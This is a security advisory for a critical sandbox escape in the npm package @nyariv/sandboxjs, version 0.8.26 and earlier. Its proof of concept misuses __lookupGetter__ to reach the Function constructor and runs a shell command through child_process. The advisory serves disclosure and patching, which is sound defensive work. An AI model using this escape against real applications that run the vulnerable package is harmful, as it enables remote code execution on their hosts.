GHSA-9p4w-fq8m-2hp7CriticalCVSS 10.0

SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

Published
February 2, 2026
Last Modified
February 18, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

Details

https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`
sb.compile(payload)().run();

Impact

Prototype Pollution -> RCE

🎯 Affected products1

  • npm/@nyariv/sandboxjs:<= 0.8.26

🔗 References (5)